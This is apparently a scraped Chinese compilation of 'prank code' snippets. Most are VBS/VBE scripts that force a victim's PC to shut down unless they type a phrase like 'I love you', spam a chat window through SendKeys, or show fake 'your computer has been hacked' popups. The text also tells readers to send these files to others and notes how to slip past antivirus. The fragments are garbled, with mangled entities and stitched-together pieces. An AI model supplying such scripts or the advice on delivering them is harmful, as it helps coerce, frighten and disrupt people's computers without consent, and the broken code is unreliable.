1、上面的文字可以随便改，不印象效果如果发给MM，你可以逼她说“我爱你”方法是把上面的“客是好网站”改成“快说我爱你” 内容来自 第二步，将记事本文件重命名为 ***VBE文件名可以任意起，如“美女VBE”。
2、On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript。
3、打开一个记事本，把代码输入进去，然后把格式改成VBS然后一保存，OK啦样子是中间有一个蓝色卷轴接着，只要把这个做好的VBS文件发给他，就可以了，不用再动别的，只要静静等待他被整例外话我劝你还是别发。
4、把上面的代码复制到记事本里，把后缀名改成VBE不要自己实验，有时会被杀毒的拦截 若把下列内容从中删掉，则对方无论如何都要重启了30秒，时间可自己改，包括说的内容dim WSHshell set WSHshell = wscript。
5、空间最新整人BUG 空间说说整人BUG代码一个最新的空间BUG，可以让别人手机看到你的说说以后闪退，并且手机空间进不去卸载重装也没有办法，只有你本人能解除大家是不是很想知道，现在小编就来告诉大家怎么设置Q。
6、下面的复制到记事本，另存为的时候选所有文件最后保存为zrvbeon error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是。
7、on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot说我是帅哥，不说我是帅哥就半分钟关你机，不信，试试？ quotquot quot。
8、13 + chr13 + quot什么，不听了quotmsgbox chr13 + chr13 + chr13 + quot别哭别哭，叔叔给你买糖quot复制代码一个整人的小代码，“说我是猪就不关机”把上面的代码复制到记事本里，把后缀名改成VBE。
9、将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 vbe 把文件传送给对方~~只要对方一打开一分钟就会关机，如上面说的，要你说那三个字，就不会关机了哈哈大家试试吧用传送文件发送给他。
10、无聊···用VBS吧，整人的话VBS有更高的效率而且容易学。
11、这个啊，我有弄过一个但是还没运行就被NOD32和360给清理了有查毒软件在的会估计难弄上来 满意请采纳。
12、vbinfmation，20 msgboxquot您的电脑可能已被入侵，请尽快修改您的密码及其他机密资料，以免被盗或丢失资料quot，vbinformation wspopupquot哈哈，我已经控制了你的电脑！quot，12，quot很高兴见到你quot，64 wspopupquot不信？我用你的电脑打开我的。
13、整人代码 导航小人默林新建TXT文档，写下以下HTML代码 ltHTML ltHEADltTITLE？欢迎您！？ltTITLE ltBODY oncontextmenu==false。